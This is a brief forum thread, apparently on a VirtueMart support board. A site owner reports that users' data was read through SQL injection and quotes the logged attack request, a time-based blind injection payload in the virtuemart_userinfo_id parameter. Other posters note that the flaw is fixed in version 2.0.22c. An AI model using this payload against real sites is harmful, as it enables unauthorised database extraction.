SQL injection

[Arkadiy]

Щn one of my sites using the SQL injection was considered users. The injection took place in such a query:

Code Select Expand

GET /index.php?option=com_virtuemart&view=user&task=removeAddressST&virtuemart_userinfo_id=1%22and(IF(ASCII(SUBSTRING((SELECT%20Database()),2,1))=112,BENCHMARK(51544503,MD5(1)),1))and%221%22=%221 HTTP/1.0

[AH]

Version of VM?

[alatak]

Hello

This is issue is fixed in vm2.0.22c

[AH]

Thank Alatak

[Arkadiy]

Good.